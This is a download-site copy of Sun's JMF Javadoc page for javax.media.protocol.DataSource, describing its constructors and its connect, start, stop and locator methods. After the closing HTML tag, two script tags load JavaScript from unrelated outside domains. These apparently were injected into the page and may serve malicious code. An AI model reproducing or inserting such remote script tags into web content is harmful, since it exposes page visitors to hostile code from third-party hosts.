⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 datasource.html

📁 JMF原版英文说明文档
💻 HTML
📖 第 1 页 / 共 2 页
字号:
finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD></TR></TABLE>&nbsp;<P><!-- ============ FIELD DETAIL =========== --><!-- ========= CONSTRUCTOR DETAIL ======== --><A NAME="constructor_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Constructor Detail</B></FONT></TD></TR></TABLE><A NAME="DataSource()"><!-- --></A><H3>DataSource</H3><PRE>public <B>DataSource</B>()</PRE><DL><DD>A no-argument constructor required by pre 1.1 implementations so that this class can be instantiated by calling <CODE>Class.newInstance</CODE>.</DL><HR><A NAME="DataSource(javax.media.MediaLocator)"><!-- --></A><H3>DataSource</H3><PRE>public <B>DataSource</B>(<A HREF="../../../javax/media/MediaLocator.html">MediaLocator</A>&nbsp;source)</PRE><DL><DD>Construct a <CODE>DataSource</CODE> from a <CODE>MediaLocator</CODE>. This method should be overloaded by subclasses; the default implementation just keeps track of the <CODE>MediaLocator</CODE>.<DD><DL><DT><B>Parameters:</B><DD><CODE>source</CODE> - The <CODE>MediaLocator</CODE> that describes the <CODE>DataSource</CODE>.</DL></DD></DL><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="setLocator(javax.media.MediaLocator)"><!-- --></A><H3>setLocator</H3><PRE>public void <B>setLocator</B>(<A HREF="../../../javax/media/MediaLocator.html">MediaLocator</A>&nbsp;source)</PRE><DL><DD>Set the connection <CODE>source</CODE> for this <CODE>DataSource</CODE>. This method should only be called once; an error is thrown if  the locator has already been set.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>source</CODE> - The <CODE>MediaLocator</CODE> that describes the media source.</DL></DD></DL><HR><A NAME="getLocator()"><!-- --></A><H3>getLocator</H3><PRE>public <A HREF="../../../javax/media/MediaLocator.html">MediaLocator</A> <B>getLocator</B>()</PRE><DL><DD>Get the <CODE>MediaLocator</CODE> that describes this source. Returns <CODE>null</CODE> if the locator hasn't been set.  (Very unlikely.)<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>The <CODE>MediaLocator</CODE> for this source.</DL></DD></DL><HR><A NAME="initCheck()"><!-- --></A><H3>initCheck</H3><PRE>protected void <B>initCheck</B>()</PRE><DL><DD>Check to see if this connection has been initialized with a <CODE>MediaLocator</CODE>. If the connection hasn't been initialized, <CODE>initCheck</CODE> throws an <CODE>UninitializedError</CODE>. Most methods should call <CODE>initCheck</CODE> on entry.<DD><DL></DL></DD></DL><HR><A NAME="getContentType()"><!-- --></A><H3>getContentType</H3><PRE>public abstract java.lang.String <B>getContentType</B>()</PRE><DL><DD>Get a string that describes the content-type of the media that the source is providing. <p> It is an error to call <CODE>getContentType</CODE> if the source is not connected.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>The name that describes the media content.</DL></DD></DL><HR><A NAME="connect()"><!-- --></A><H3>connect</H3><PRE>public abstract void <B>connect</B>()                      throws java.io.IOException</PRE><DL><DD>Open a connection to the source described by the <CODE>MediaLocator</CODE>. <p> The <CODE>connect</CODE> method initiates communication with the source.<DD><DL></DL></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - Thrown if there are IO problems when <CODE>connect</CODE> is called.</DL></DD></DL><HR><A NAME="disconnect()"><!-- --></A><H3>disconnect</H3><PRE>public abstract void <B>disconnect</B>()</PRE><DL><DD>Close the connection to the source described by the locator. <p> The <CODE>disconnect</CODE> method frees resources used to maintain a connection to the source. If no resources are in use, <CODE>disconnect</CODE> is ignored. If <CODE>stop</CODE> hasn't already been called, calling <CODE>disconnect</CODE> implies a stop.<DD><DL></DL></DD></DL><HR><A NAME="start()"><!-- --></A><H3>start</H3><PRE>public abstract void <B>start</B>()                    throws java.io.IOException</PRE><DL><DD>Initiate data-transfer. The <CODE>start</CODE> method must be called before data is available.(You must call <CODE>connect</CODE> before calling <CODE>start</CODE>.)<DD><DL></DL></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - Thrown if there are IO problems with the source when <CODE>start</CODE> is called.</DL></DD></DL><HR><A NAME="stop()"><!-- --></A><H3>stop</H3><PRE>public abstract void <B>stop</B>()                   throws java.io.IOException</PRE><DL><DD>Stop the data-transfer. If the source has not been connected and started, <CODE>stop</CODE> does nothing.<DD><DL></DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../../javax/media/protocol/ContentDescriptor.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;<A HREF="../../../javax/media/protocol/FileTypeDescriptor.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="DataSource.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1">  <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -